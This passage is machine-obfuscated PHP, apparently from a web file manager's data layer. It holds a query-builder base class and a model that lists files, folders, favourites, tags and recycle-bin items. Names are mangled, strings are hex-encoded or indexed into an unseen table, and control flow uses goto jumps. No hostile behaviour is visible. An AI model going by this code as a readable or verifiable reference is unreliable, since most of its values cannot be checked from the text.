$this->error = $e߫[2]; return !1; } } return; } protected function _validationFieldItem($e􎋨, $f˼Ä) { $C͗ =& $_SERVER[ڊ]; switch (strtolower(trim($f˼Ä[4]))) { case $C͗[306]: case $C͗[307]: $cϔ = isset($f˼Ä[6]) ? (array) $f˼Ä[6] : array(); if (is_string($f˼Ä[0]) && strpos($f˼Ä[0], $C͗[47])) { $f˼Ä[0] = explode($C͗[47], $f˼Ä[0]); } if (is_array($f˼Ä[0])) { foreach ($f˼Ä[0] as $a׮) { $C[$a׮] = $e􎋨[$a׮]; } array_unshift($cϔ, $C); } else { array_unshift($cϔ, $e􎋨[$f˼Ä[0]]); } if ($C͗[306] == $f˼Ä[4]) { return call_user_func_array($f˼Ä[1], $cϔ); } else { return call_user_func_array(array(&$this, $f˼Ä[1]), $cϔ); } case $C͗[314]: return $e􎋨[$f˼Ä[0]] == $e􎋨[$f˼Ä[1]]; case $C͗[315]: if (is_string($f˼Ä[0]) && strpos($f˼Ä[0], $C͗[47])) { $f˼Ä[0] = explode($C͗[47], $f˼Ä[0]); } $dعƇ = array(); if (is_array($f˼Ä[0])) { foreach ($f˼Ä[0] as $a׮) { $dعƇ[$a׮] = $e􎋨[$a׮]; } } else { $dعƇ[$f˼Ä[0]] = $e􎋨[$f˼Ä[0]]; } if (!empty($e􎋨[$this->getPk()])) { $dعƇ[$this->getPk()] = array($C͗[316], $e􎋨[$this->getPk()]); } if ($this->where($dعƇ)->find()) { return !1; } return !0; default: return $this->check($e􎋨[$f˼Ä[0]], $f˼Ä[1], $f˼Ä[4]); } } public function check($bܝ, $b, $dӅ = "\162\x65\x67\x65\170") { $f =& $_SERVER[ڊ]; $dӅ = strtolower(trim($dӅ)); switch ($dӅ) { case $f[7]: case $f[317]: $f눳 = is_array($b) ? $b : explode($f[47], $b); return $dӅ == $f[7] ? in_array($bܝ, $f눳) : !in_array($bܝ, $f눳); case $f[318]: case $f[319]: if (is_array($b)) { $A = $b[0]; $aߛ = $b[1]; } else { list($A, $aߛ) = explode($f[47], $b); } return $dӅ == $f[318] ? $bܝ >= $A && $bܝ <= $aߛ : $bܝ < $A || $bܝ > $aߛ; case $f[320]: case $f[321]: return $dӅ == $f[320] ? $bܝ == $b : $bܝ != $b; case $f[322]: $Fƕ = mb_strlen($bܝ, $f[323]); if (strpos($b, $f[47])) { list($A, $aߛ) = explode($f[47], $b); return $Fƕ >= $A && $Fƕ <= $aߛ; } else { return $Fƕ == $b; } case $f[324]: list($BЛ, $CŒƾ˩) = explode($f[47], $b); if (!is_numeric($BЛ)) { $BЛ = strtotime($BЛ); } if (!is_numeric($CŒƾ˩)) { $CŒƾ˩ = strtotime($CŒƾ˩); } return NOW_TIME >= $BЛ && NOW_TIME <= $CŒƾ˩; case $f[325]: return in_array(get_client_ip(), explode($f[47], $b)); case $f[326]: return !in_array(get_client_ip(), explode($f[47], $b)); case $f[313]: default: return $this->regex($bܝ, $b); } } public function query($fɛ, $e͎ = false) { $DݳԂ =& $_SERVER[ڊ]; if (!is_bool($e͎) && !is_array($e͎)) { $e͎ = func_get_args(); array_shift($e͎); } $fɛ = str_replace(array($DݳԂ[214], $DݳԂ[327]), $DݳԂ[50], $fɛ); $fɛ = $this->parseSql($fɛ, $e͎); return $this->db->query($fɛ); } public function execute($Cڗ, $EҴҨ = false) { if (!is_bool($EҴҨ) && !is_array($EҴҨ)) { $EҴҨ = func_get_args(); array_shift($EҴҨ); } $Cڗ = $this->parseSql($Cڗ, $EҴҨ); return $this->db->execute($Cڗ); } protected function parseSql($Aޑ, $cὺ) { $E򘌵 =& $_SERVER[ڊ]; if (!0 === $cὺ) { $FՐ = $this->_parseOptions(); $Aޑ = $this->db->parseSql($Aޑ, $FՐ); } elseif (is_array($cὺ)) { $cὺ = array_map(array($this->db, $E򘌵[328]), $cὺ); $Aޑ = vsprintf($Aޑ, $cὺ); } else { $Aޑ = strtr($Aޑ, array($E򘌵[329] => $this->getTableName(), $E򘌵[330] => think_config($E򘌵[229]))); } $this->db->setModel($this->name); return $Aޑ; } public function db($Cὄ = '', $Bڟ = '', $B㍫ = array()) { goto F; DّÌ: static $e̎ = array(); if (!isset($e̎[$Cὄ]) || isset($e̎[$Cὄ]) && $Bڟ && $Fվ[$Cὄ] != $Bڟ) { if (!empty($Bڟ) && is_string($Bڟ) && !1 === strpos($Bڟ, $c[8])) { $Bڟ = think_config($Bڟ); } $e̎[$Cὄ] = Db::getInstance($Bڟ); } elseif (NULL === $Bڟ) { $e̎[$Cὄ]->close(); unset($e̎[$Cὄ]); return; } if (!empty($B㍫)) { if (is_string($B㍫)) { parse_str($B㍫, $B㍫); } foreach ($B㍫ as $DΤڲ => $dҙ) { $this->setProperty($DΤڲ, $dҙ); } } goto b; b: $Fվ[$Cὄ] = $Bڟ; $this->db = $e̎[$Cὄ]; $this->_after_db(); goto c; F: $c =& $_SERVER[ڊ]; if ($c[33] === $Cὄ && $this->db) { return $this->db; } static $Fվ = array(); goto DّÌ; c: if (!empty($this->name) && $this->autoCheckFields) { $this->_checkTableInfo(); } return $this; goto C׸ϊ; C׸ϊ: } protected function _after_db() { } public function getModelName() { if (empty($this->name)) { $eЎ = get_class($this); if ($eЎ == $_SERVER[ڊ][331]) { return $this->name; } $this->name = substr($eЎ, 0, -5); } return $this->name; } public function getTableName() { $aҞ =& $_SERVER[ڊ]; if (empty($this->trueTableName)) { $F٧̎ = !empty($this->tablePrefix) ? $this->tablePrefix : $aҞ[33]; if (!empty($this->tableName)) { $F٧̎ .= $this->tableName; } else { $F٧̎ .= think_parse_name($this->name); } $this->trueTableName = strtolower($F٧̎); } return (!empty($this->dbName) ? $this->dbName . $aҞ[93] : $aҞ[33]) . $this->trueTableName; } public function startTrans() { $this->commit(); $this->db->startTrans(); return; } public function commit() { return $this->db->commit(); } public function rollback() { return $this->db->rollback(); } public function getError() { return $this->error; } public function getDbError() { return $this->db->getError(); } public function getLastInsID() { return $this->db->getLastInsID(); } public function getLastSql() { return $this->db->getLastSql($this->name); } public function _sql() { return $this->getLastSql(); } public function getPk() { $Bֽɋ =& $_SERVER[ڊ]; return isset($this->fields[$Bֽɋ[236]]) ? $this->fields[$Bֽɋ[236]] : $this->pk; } public function getDbFields() { $c嫳Ì =& $_SERVER[ڊ]; if (isset($this->options[$c嫳Ì[264]])) { $FȞ = $this->db->getFields($this->options[$c嫳Ì[264]]); return $FȞ ? array_keys($FȞ) : !1; } if ($this->fields) { $FȞ = $this->fields; unset($FȞ[$c嫳Ì[235]], $FȞ[$c嫳Ì[236]], $FȞ[$c嫳Ì[237]], $FȞ[$c嫳Ì[234]]); return $FȞ; } return !1; } public function data($Cɿ = '') { $DƬ =& $_SERVER[ڊ]; if ($DƬ[33] === $Cɿ && !empty($this->data)) { return $this->data; } if (is_object($Cɿ)) { $Cɿ = get_object_vars($Cɿ); } elseif (is_string($Cɿ)) { parse_str($Cɿ, $Cɿ); } elseif (!is_array($Cɿ)) { think_exception(think_lang($DƬ[256])); } $this->data = $Cɿ; return $this; } public function join($bЪڃ) { $AӦ =& $_SERVER[ڊ]; if (is_array($bЪڃ)) { $this->options[$AӦ[267]] = $bЪڃ; } elseif (!empty($bЪڃ)) { $this->options[$AӦ[267]][] = $bЪڃ; } return $this; } public function union($d۶, $A = false) { goto Fꪏ͏; Cŏ: if (is_object($d۶)) { $d۶ = get_object_vars($d۶); } if (is_string($d۶)) { $b = $d۶; } elseif (is_array($d۶)) { if (isset($d۶[0])) { $this->options[$e[332]] = array_merge($this->options[$e[332]], $d۶); return $this; } else { $b = $d۶; } } else { think_exception(think_lang($e[256])); } $this->options[$e[332]][] = $b; goto A˟; A˟: return $this; goto b; Fꪏ͏: $e =& $_SERVER[ڊ]; if (empty($d۶)) { return $this; } if ($A) { $this->options[$e[332]][$e[333]] = !0; } goto Cŏ; b: } public function cache($CѾ = true, $f􋆠 = null, $F환 = '') { $C؆ӯ =& $_SERVER[ڊ]; if (!1 !== $CѾ) { $this->options[$C؆ӯ[334]] = array($C؆ӯ[89] => $CѾ, $C؆ӯ[324] => $f􋆠, $C؆ӯ[29] => $F환); } return $this; } public function field($Cđ⭏, $E񊏟ˆ = false) { $c˗ =& $_SERVER[ڊ]; if (!0 === $Cđ⭏) { $D = $this->getDbFields(); $Cđ⭏ = $D ? $D : $c˗[173]; } elseif ($E񊏟ˆ) { if (is_string($Cđ⭏)) { $Cđ⭏ = explode($c˗[47], $Cđ⭏); } $D = $this->getDbFields(); $Cđ⭏ = $D ? array_diff($D, $Cđ⭏) : $Cđ⭏; } $this->options[$c˗[258]] = $Cđ⭏; return $this; } public function scope($C = '', $Eמ = NULL) { $f΃댭 =& $_SERVER[ڊ]; if ($f΃댭[33] === $C) { if (isset($this->_scope[$f΃댭[34]])) { $C߄뉖 = $this->_scope[$f΃댭[34]]; } else { return $this; } } elseif (is_string($C)) { $fْ = explode($f΃댭[47], $C); $C߄뉖 = array(); foreach ($fْ as $cԾ) { if (!isset($this->_scope[$cԾ])) { continue; } $C߄뉖 = array_merge($C߄뉖, $this->_scope[$cԾ]); } if (!empty($Eמ) && is_array($Eמ)) { $C߄뉖 = array_merge($C߄뉖, $Eמ); } } elseif (is_array($C)) { $C߄뉖 = $C; } if (is_array($C߄뉖) && !empty($C߄뉖)) { $this->options = array_merge($this->options, array_change_key_case($C߄뉖)); } return $this; } public function where($aŌΌ, $F = null) { $C =& $_SERVER[ڊ]; if (!is_null($F) && is_string($aŌΌ)) { if (!is_array($F)) { $F = func_get_args(); array_shift($F); } $F = array_map(array($this->db, $C[328]), $F); $aŌΌ = vsprintf($aŌΌ, $F); } elseif (is_object($aŌΌ)) { $aŌΌ = get_object_vars($aŌΌ); } elseif (is_array($aŌΌ)) { foreach ($aŌΌ as $Fū => $Aչ) { if ((is_numeric($Fū) || !$Fū) && is_string($Aչ)) { think_trace($C[335], $C[33], $C[46]); die; } } } if (is_string($aŌΌ) && $C[33] != $aŌΌ) { $Cю = array(); $Cю[$C[336]] = $aŌΌ; $aŌΌ = $Cю; } if (isset($this->options[$C[260]])) { $this->options[$C[260]] = array_merge($this->options[$C[260]], $aŌΌ); } else { $this->options[$C[260]] = $aŌΌ; } return $this; } public function limit($E, $C԰͝ = null) { $Aߒ =& $_SERVER[ڊ]; $this->options[$Aߒ[277]] = is_null($C԰͝) ? $E : $E . $Aߒ[47] . $C԰͝; return $this; } public function page($CĖ, $Cҥ = null) { $fӇ =& $_SERVER[ڊ]; $this->options[$fӇ[337]] = is_null($Cҥ) ? $CĖ : $CĖ . $fӇ[47] . $Cҥ; return $this; } public function comment($A’) { $this->options[$_SERVER[ڊ][338]] = $A’; return $this; } public function setProperty($dٞ, $Bے) { if (property_exists($this, $dٞ)) { $this->{$dٞ} = $Bے; } return $this; } } goto d; D: class SourceListModel extends ModelBase { protected $tableName = "\151\x6f\x5f\163\157\x75\162\x63\x65"; protected $tableMeta = array("\164\141\142\154\145\116\x61\155\145" => "\151\x6f\137\x73\x6f\x75\x72\143\145\x5f\x6d\x65\164\x61", "\x6d\x65\164\x61\x46\x69\145\x6c\x64" => "\x73\x6f\165\x72\x63\145\111\104"); protected $dataAuto = array(array("\x6d\x6f\144\151\x66\171\124\x69\155\145", "\164\x69\x6d\145", "\151\x6e\163\x65\x72\x74", "\x66\x75\x6e\x63\x74\x69\157\156"), array("\x63\162\145\x61\164\145\124\x69\155\145", "\164\x69\155\x65", "\151\156\x73\x65\x72\x74", "\146\x75\x6e\143\x74\151\x6f\156"), array("\166\x69\x65\167\124\151\155\145", "\164\151\x6d\x65", "\151\156\163\x65\x72\x74", "\146\165\156\143\x74\x69\x6f\x6e")); protected static $cacheSourceInfo = array(); protected static $cachePathInfo = array(); protected static $cacheFileInfo = array(); protected static $cacheChildList = array(); const TYPE_SYSTEM = 0; const TYPE_USER = 1; const TYPE_GROUP = 2; public function listData($fȔ) { return $this->listSource(array($_SERVER[ڊ][365] => $fȔ)); } public function typeName($dսЌ) { static $A = array(self::TYPE_SYSTEM => "\163\x79\163\164\x65\x6d", self::TYPE_USER => "\x75\x73\145\162", self::TYPE_GROUP => "\147\162\157\165\x70"); return $A[$dսЌ . $_SERVER[ڊ][33]]; } public function sourceListInfo($C, $Cο躢 = false) { goto eѵ; AЛܳ: if (!$C) { return array(); } $D뢋 = $this->where(array($Dݺ[366] => array($Dݺ[7], $C)))->select(); $this->_listDataApply($D뢋, $Cο躢); goto EԷ; EԷ: return array_to_keyvalue($D뢋, $Dݺ[366]); goto D撒Û; eѵ: $Dݺ =& $_SERVER[ڊ]; $C = $C ? $C : array(); $C = array_filter(array_unique($C)); goto AЛܳ; D撒Û: } public function pathInfoFilter($b) { goto e瑌Ɩ; e瑌Ɩ: $e =& $_SERVER[ڊ]; $b[$e[75]] = KodIO::make($b[$e[366]]); $b[$e[29]] = $b[$e[367]] == 1 ? $e[76] : $e[164]; goto a; a뚳: if (isset($b[$e[373]]) && $b[$e[373]][$e[374]] == -1) { $e̋ = array_remove_value($e̋, $e[184]); $e̋ = array_remove_value($e̋, $e[107]); $e̋ = array_remove_value($e̋, $e[375]); $e̋ = array_remove_value($e̋, $e[376]); $e̋ = array_remove_value($e̋, $e[77]); $e̋ = array_remove_value($e̋, $e[377]); } $b = array_field_key($b, $e̋); return $b; goto dØ; a: $b[$e[368]] = $this->typeName($b[$e[368]]); if ($b[$e[367]] != 1) { $b[$e[157]] = $b[$e[369]]; unset($b[$e[369]]); } $D慇Ԥ = $e[370]; goto b; b: $D慇Ԥ .= $e[371]; $D慇Ԥ .= $e[372]; $e̋ = explode($e[47], $D慇Ԥ); goto a뚳; dØ: } public function listUserFav() { goto B㊍؊; B㊍؊: $d =& $_SERVER[ڊ]; $bϩ̔ = Model($d[378])->listData(); $aŎ = array_filter_by_field($bϩ̔, $d[29], $d[379]); goto fۛ짋; e؆ߧ: foreach ($bϩ̔ as &$eꄯ) { $eꄯ = array($d[382] => $eꄯ[$d[364]], $d[383] => $eꄯ[$d[28]], $d[384] => $eꄯ[$d[75]], $d[385] => $eꄯ[$d[29]], $d[386] => $eꄯ[$d[184]], $d[387] => $eꄯ[$d[107]]); if ($eꄯ[$d[29]] == $d[379] && $d[$eꄯ[$d[75]]]) { $eꄯ[$d[388]] = $d[$eꄯ[$d[75]]]; } } return $bϩ̔; goto eŦؐ; fۛ짋: $aŎ = array_to_keyvalue($aŎ, $d[33], $d[75]); if ($aŎ) { $d = $this->listSource(array($d[380] => array($d[381], $aŎ))); } $d = array_to_keyvalue($d[$d[351]], $d[366]); goto e؆ߧ; eŦؐ: } public function listUserTag($a،) { goto a; Aפ: $bĬ = array_to_keyvalue($bĬ, $D尰[33], $D尰[75]); if (!$bĬ) { return array(); } $f = array($D尰[380] => array($D尰[381], $bĬ)); goto f㮮; a: $D尰 =& $_SERVER[ڊ]; $eɭ = Model($D尰[389])->listData(); $bĬ = array_filter_by_field($eɭ, $D尰[390], $a،); goto Aפ; f㮮: return $this->listSource($f); goto A; A: } public function listUserRecycle() { $dР =& $_SERVER[ڊ]; $C덽 = Model($dР[391])->listData(); if (!$C덽) { return array(); } $D㹯 = array($dР[380] => array($dР[381], $C덽), $dР[392] => 1); return $this->listSource($D㹯); } public function listSource($e۩, $eؐ = 3000) { goto f͒; Eۊ: return $B힃ʸд; goto bͿ; AΪ: $B힃ʸд = $this->field($Aв)->_makeOrder()->where($e۩)->selectPage($eؐ); $this->_listDataApply($B힃ʸд[$C[351]]); $this->_listMake($B힃ʸд); goto Eۊ; f͒: $C =& $_SERVER[ڊ]; if (!isset($e۩[$C[393]])) { $e۩[$C[393]] = 0; } $Aв = $C[394]; goto AΪ; bͿ: } protected function _makeOrder() { goto cȍ; cȍ: $fט =& $_SERVER[ڊ]; $e = Model($fט[395])->get($fט[396]); $Aב = Model($fט[395])->get($fט[397]); goto dԫ; Fӳ: $a閕 = Input::get($fט[404], $fט[7], $Aב, array_keys($a)); if (!in_array($aǜ򇩺, array_keys($C))) { $aǜ򇩺 = $fט[28]; } if (!in_array($a閕, array_keys($a))) { $aǜ򇩺 = $fט[398]; } goto e; dԫ: $a = array($fט[398] => $fט[399], $fט[400] => $fט[401]); $C = array($fט[28] => $fט[28], $fט[77] => $fט[77], $fט[157] => $fט[369], $fט[375] => $fט[375], $fט[402] => $fט[376], $fט[184] => $fט[184], $fט[107] => $fט[107]); $aǜ򇩺 = Input::get($fט[403], $fט[7], $e, array_keys($C)); goto Fӳ; e: if ($aǜ򇩺 == $fט[28]) { } $D慔 = $fט[405] . $C[$aǜ򇩺] . $fט[50] . $a[$a閕]; return $this->order(rtrim(trim($D慔), $fט[47])); goto F՛; F՛: } protected function _listDataApplyItem($DͶ, $c = false) { $fʊ = array($DͶ); $this->_listDataApply($fʊ, $c); return $fʊ[0]; } protected function _listDataApply(&$d黎, $D = false) { goto A೸; b: $cƐމ = array_unique($cƐމ); $this->_listSourceCache($d黎); if (!$D) { $this->_listAppendMeta($d黎, $cƐމ); $this->_listAppendFileMeta($d黎, $cƐމ); $this->_listAppendChildren($d黎, $cƐމ); } goto Eˊ; Eˊ: $this->_listAppendPath($d黎); $this->_listAppendAuth($d黎); $this->_listAppendSourceInfo($d黎, $cƐމ); goto e; e: $this->_listAppendUser($d黎); $this->_listFilterInfo($d黎, $D); goto aЉ; A೸: $B𞅅 =& $_SERVER[ڊ]; if (!$d黎) { $d黎 = array(); return; } $cƐމ = array_to_keyvalue($d黎, $B𞅅[33], $B𞅅[366]); goto b; aЉ: } protected function _listSourceCache($Fص) { $d =& $_SERVER[ڊ]; foreach ($Fص as $dý䖹) { self::$cacheSourceInfo[$d[406] . $dý䖹[$d[366]]] = $dý䖹; } } protected function _listFilterInfo(&$E𸹾, $C̝Ӛ = false) { $F =& $_SERVER[ڊ]; foreach ($E𸹾 as &$až) { $až = $this->pathInfoFilter($až); self::$cachePathInfo[$F[407] . intval($C̝Ӛ) . $F[408] . $až[$F[366]]] = $až; } } protected function _listMake(&$Də) { $c =& $_SERVER[ڊ]; $Də[$c[74]] = array(); $Də[$c[73]] = array(); foreach ($Də[$c[351]] as $bƠ) { $aݿ = $bƠ[$c[367]] == 1 ? $c[74] : $c[73]; $Də[$aݿ][] = $bƠ; } unset($Də[$c[351]]); } protected function _listAppendMeta(&$b, $Cڑ) { goto aȅ; CʸĚ: foreach ($c㨆 as $Aȭᛐ) { if (!isset($F[$Aȭᛐ[$cͺձ[366]]])) { $F[$Aȭᛐ[$cͺձ[366]]] = array(); } if (in_array($Aȭᛐ[$cͺձ[89]], $E쐱)) { continue; } $F[$Aȭᛐ[$cͺձ[366]]][$Aȭᛐ[$cͺձ[89]]] = $Aȭᛐ[$cͺձ[356]]; } foreach ($b as &$c̘ۦ) { $c̘ۦ[$cͺձ[413]] = !1; if (isset($F[$c̘ۦ[$cͺձ[366]]])) { $c̘ۦ[$cͺձ[413]] = $F[$c̘ۦ[$cͺձ[366]]]; } if ($this->fileIsLock($c̘ۦ) && $c̘ۦ[$cͺձ[373]]) { $bǷ = AuthModel::AUTH_EDIT | AuthModel::AUTH_REMOVE; $c̘ۦ[$cͺձ[373]][$cͺձ[374]] = AuthModel::authDisable($c̘ۦ[$cͺձ[373]][$cͺձ[374]], $bǷ); $c̘ۦ[$cͺձ[373]][$cͺձ[414]][$cͺձ[373]] = $c̘ۦ[$cͺձ[373]][$cͺձ[374]]; } } goto bЎۃ; dƢ: if (!$c㨆) { return; } $E쐱 = array($cͺձ[411], $cͺձ[412]); $F = array(); goto CʸĚ; aȅ: $cͺձ =& $_SERVER[ڊ]; $FÞ = array($cͺձ[380] => array($cͺձ[381], $Cڑ)); $c㨆 = Model($cͺձ[409])->field($cͺձ[410])->where($FÞ)->select(); goto dƢ; bЎۃ: } protected function _listAppendFileMeta(&$BѶ, $e) { goto d簜; D: $Eܥ = $Eܥ ? $Eܥ : array(); $Bǒ = array(); foreach ($Eܥ as $f߻ձ) { if (!isset($Bǒ[$f߻ձ[$e[415]]])) { $Bǒ[$f߻ձ[$e[415]]] = array(); } $Bǒ[$f߻ձ[$e[415]]][$f߻ձ[$e[89]]] = $f߻ձ[$e[356]]; } goto E; E: foreach ($BѶ as &$dܓ) { goto Bڴ»; fѕ: if (isset($dܓ[$e[159]][$e[422]])) { $dܓ[$e[422]] = json_decode($dܓ[$e[159]][$e[422]], !0); unset($dܓ[$e[159]][$e[422]]); } goto A; bͿ: unset($Fݙ[$cτ][$e[75]]); $e؞ = is_array($Bǒ[$cτ]) ? $Bǒ[$cτ] : array(); $dܓ[$e[159]] = array_merge($e؞, $Fݙ[$cτ]); goto fѕ; Fɓ: $Cǒ[$e[77]] = $dܓ[$e[77]]; $Cǒ[$e[28]] = $dܓ[$e[28]]; self::$cacheFileInfo[$e[421] . $cτ] = $Cǒ; goto bͿ; Bڴ»: $cτ = $dܓ[$e[415]]; if (!$cτ || !isset($Fݙ[$cτ])) { continue; } $Cǒ = $Fݙ[$cτ]; goto Fɓ; A: } goto Dᦺ; B߅Ƞ: if (!$bՂ) { return; } $dô = array($e[416] => array($e[381], $bՂ)); $c = $e[417]; goto e; d簜: $e =& $_SERVER[ڊ]; $bՂ = array_to_keyvalue($BѶ, $e[33], $e[415]); $bՂ = array_filter(array_unique($bՂ)); goto B߅Ƞ; e: $Fݙ = Model($e[418])->field($c)->where($dô)->select(); $Fݙ = array_to_keyvalue($Fݙ, $e[415]); $Eܥ = Model($e[419])->field($e[420])->where($dô)->select(); goto D; Dᦺ: } protected function _listAppendSourceInfo(&$fш, $fԓ) { goto Cɟ; Cɟ: $EƉׅ =& $_SERVER[ڊ]; if (!defined($EƉׅ[423])) { return; } $d = Model($EƉׅ[424])->listData(); goto aϓ; f׎: $F煤 = array_to_keyvalue_group($cѝ, $EƉׅ[366]); foreach ($fш as &$d̼) { $d̼[$EƉׅ[388]] = array($EƉׅ[426] => 0, $EƉׅ[427] => 0, $EƉׅ[428] => 0); if (isset($bΕ㗐[$d̼[$EƉׅ[366]]])) { $d̼[$EƉׅ[388]][$EƉׅ[429]] = 1; $d̼[$EƉׅ[388]][$EƉׅ[430]] = $bΕ㗐[$d̼[$EƉׅ[366]]][$EƉׅ[28]]; } if (isset($fݜ[$d̼[$EƉׅ[366]]])) { $d̼[$EƉׅ[388]][$EƉׅ[431]] = array(); foreach ($fݜ[$d̼[$EƉׅ[366]]] as $B⡣) { $fϠَ = $Fȡ[$B⡣]; $d̼[$EƉׅ[388]][$EƉׅ[431]][] = array($EƉׅ[432] => $fϠَ[$EƉׅ[364]], $EƉׅ[383] => $fϠَ[$EƉׅ[28]], $EƉׅ[433] => $fϠَ[$EƉׅ[434]]); } } if (isset($F煤[$d̼[$EƉׅ[366]]])) { $d̼[$EƉׅ[388]][$EƉׅ[435]] = array(); foreach ($F煤[$d̼[$EƉׅ[366]]] as $Eќ꫆) { $d̼[$EƉׅ[388]][$EƉׅ[435]] = array($EƉׅ[436] => $Eќ꫆[$EƉׅ[437]], $EƉׅ[438] => $Eќ꫆[$EƉׅ[439]], $EƉׅ[440] => $Eќ꫆[$EƉׅ[366]], $EƉׅ[441] => $Eќ꫆[$EƉׅ[442]], $EƉׅ[443] => $Eќ꫆[$EƉׅ[444]]); } } } return $fш; goto Aᐇ; d: $Fȡ = array_to_keyvalue($d, $EƉׅ[364]); $fݜ = array_to_keyvalue_group($aΙ, $EƉׅ[75], $EƉׅ[390]); $bΕ㗐 = array_to_keyvalue($D, $EƉׅ[75]); goto f׎; aϓ: $aΙ = Model($EƉׅ[389])->listData(); $D = Model($EƉׅ[378])->listData(); $cѝ = Model($EƉׅ[425])->listSimple(); goto d; Aᐇ: } protected function _listAppendChildren(&$AÚҍ, $bڊ) { goto Dͼʩ; B߭: foreach ($AÚҍ as &$bµ) { if ($bµ[$B[367]]) { unset($bµ[$B[369]]); $bµ[$B[189]] = intval($cڔʂ[$bµ[$B[366]] . $B[447]][$B[448]]); $bµ[$B[188]] = intval($cڔʂ[$bµ[$B[366]] . $B[449]][$B[448]]); } } goto D; Fќ͠: $b = $this->tablePrefix . $this->tableName; for ($Cɢ = 0; $Cɢ < $F; $Cɢ++) { $bɡ˜ = intval($AÚҍ[$Cɢ][$B[393]]); if ($AÚҍ[$Cɢ][$B[367]]) { $c׮ = $AÚҍ[$Cɢ][$B[366]]; $AɃ .= "\x53\105\x4c\105\103\124\x20\x2a\40\106\122\117\x4d\40\50\x53\x45\x4c\105\103\124\40\x27{$c׮}\x5f\x68\141\x73\106\x69\154\145\47\40\141\x73\x20\150\141\163\x2c\143\157\165\156\164\x28\x31\x29\40\x61\163\x20\x68\x61\163\x43\x6f\x75\156\164\x20\106\122\117\x4d\x20\x60{$b}\140\40\xa\11\11\11\x9\11\x77\x68\x65\162\x65\40\160\x61\x72\x65\156\164\111\104\x3d{$c׮}\x20\141\156\x64\40\151\x73\x46\157\x6c\144\x65\x72\x3d\x30\x20\x61\x6e\x64\40\151\163\x44\145\154\x65\164\x65\75{$bɡ˜}\x29\40\141\163\40\x74\x62\x31\x5f{$c׮}\40\165\156\151\157\156\x20\141\154\x6c\40\12\x9\x9\x9\11\x9\123\105\114\105\x43\124\x20\52\x20\x46\x52\x4f\x4d\x20\50\123\105\114\x45\x43\124\x20\x27{$c׮}\x5f\150\141\163\106\x6f\154\x64\x65\162\47\x20\x61\163\x20\x68\141\163\x46\151\154\x65\54\x63\x6f\165\156\164\x28\x31\x29\40\141\x73\x20\150\141\x73\x43\x6f\x75\156\x74\40\106\x52\x4f\x4d\40\140{$b}\x60\40\12\11\11\11\x9\11\x77\x68\145\x72\x65\x20\x70\141\162\145\x6e\164\111\x44\75{$c׮}\x20\141\156\144\40\x69\x73\x46\x6f\x6c\x64\x65\x72\75\x31\40\141\156\x64\40\151\x73\104\x65\x6c\145\x74\145\75{$bɡ˜}\x29\40\141\163\40\x74\x62\62\137{$c׮}\x20\x75\156\x69\157\156\x20\141\154\x6c\x20"; } if ((strlen($AɃ) >= $bĊ || $Cɢ == $F - 1) && $AɃ) { $AɃ = substr($AɃ, 0, -strlen($B[445])); $dѷ = $this->query($AɃ); $cڔʂ = array_merge($cڔʂ, $dѷ); $AɃ = $B[33]; } } $cڔʂ = array_to_keyvalue($cڔʂ, $B[446]); goto B߭; Bش: $bĊ = 1024 * 50; $AÚҍ = is_array($AÚҍ) ? $AÚҍ : array(); $F = count($AÚҍ); goto Fќ͠; Dͼʩ: $B =& $_SERVER[ڊ]; $AɃ = $B[358]; $cڔʂ = array(); goto Bش; D: } protected function _listAppendAuth(&$bʼn) { goto E; bț: $E = Model($e؉ǟ[450])->getSourceList($EΌ, $c); foreach ($bʼn as $eˣψڄ => &$c񌘐˷) { $c񌘐˷[$e؉ǟ[373]] = $E[$c񌘐˷[$e؉ǟ[366]]]; if (!$c񌘐˷[$e؉ǟ[373]] && $c񌘐˷[$e؉ǟ[368]] == self::TYPE_GROUP) { $c񌘐˷[$e؉ǟ[373]] = Action($e؉ǟ[451])->pathGroupAuthMake($c񌘐˷[$e؉ǟ[452]]); if (!$c񌘐˷[$e؉ǟ[373]] && !_get($GLOBALS, $e؉ǟ[453])) { $c񌘐˷[$e؉ǟ[186]] = !1; $c񌘐˷[$e؉ǟ[185]] = !1; } } if ($c񌘐˷[$e؉ǟ[373]]) { $c񌘐˷[$e؉ǟ[186]] = AuthModel::authCheckEdit($c񌘐˷[$e؉ǟ[373]][$e؉ǟ[374]]); $c񌘐˷[$e؉ǟ[185]] = AuthModel::authCheckView($c񌘐˷[$e؉ǟ[373]][$e؉ǟ[374]]); } $this->groupPathDisplay($c񌘐˷); } goto d¾; Cچ: foreach ($bʼn as $c񌘐˷) { if ($c񌘐˷[$e؉ǟ[368]] == self::TYPE_GROUP) { $EΌ[] = $c񌘐˷[$e؉ǟ[366]]; } } if (!$EΌ) { return; } $c = array_to_keyvalue($bʼn, $e؉ǟ[366]); goto bț; E: $e؉ǟ =& $_SERVER[ڊ]; if (!defined($e؉ǟ[423])) { return; } $EΌ = array(); goto Cچ; d¾: } public function groupPathDisplay(&$cþ։) { goto dӂ浆; fޗ: $cþ։[$e︭[456]] = $E࣋[$e︭[457]]; $cþ։[$e︭[377]] = $E࣋[$e︭[455]]; $cþ։[$e︭[458]] = $E࣋[$e︭[459]]; goto c; c: $cþ։[$e︭[460]] = $eκ . $E࣋[$e︭[388]][$e︭[366]]; goto aċ; E߂̏: $A = $this->parentLevelArray($E࣋[$e︭[455]]); $eκ = $e︭[33]; foreach ($A as $Bɣ剧) { $fŒ = Model($e︭[454])->getInfo($Bɣ剧); $eκ .= $fŒ[$e︭[388]][$e︭[366]] . $e︭[47]; } goto fޗ; dӂ浆: $e︭ =& $_SERVER[ڊ]; if ($cþ։[$e︭[368]] != self::TYPE_GROUP) { return; } $E࣋ = Model($e︭[454])->getInfo($cþ։[$e︭[452]]); goto E߂̏; aċ: } protected function _listAppendPath(&$a헳) { goto f񦅙; dƔ: $e݆ = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); foreach ($a헳 as &$D츺) { goto F; C: if ($b͈) { $Dᾂ .= $D츺[$C[28]]; } if ($D츺[$C[367]]) { $Dᾂ .= $C[8]; } $D츺[$C[462]] = str_replace($C[463], $C[8], $Dᾂ); goto E; F: $b͈ = $this->parentLevelArray($D츺[$C[455]]); $Dᾂ = $this->_listAppendPathRoot($D츺, $b͈); foreach ($b͈ as $CѮ) { if (isset($Fڄ[$CѮ])) { $Dᾂ .= $Fڄ[$CѮ] . $C[8]; } } goto C; E: $f = trim($D츺[$C[462]], $C[8]); if ($D츺[$C[457]] == $C[464] && $f) { $D츺[$C[28]] = $f; } $this->_listAppendPathRecycle($D츺, $b͈, $e݆); goto D; D: } goto cޙ; f񦅙: $C =& $_SERVER[ڊ]; $Fڄ = array(); foreach 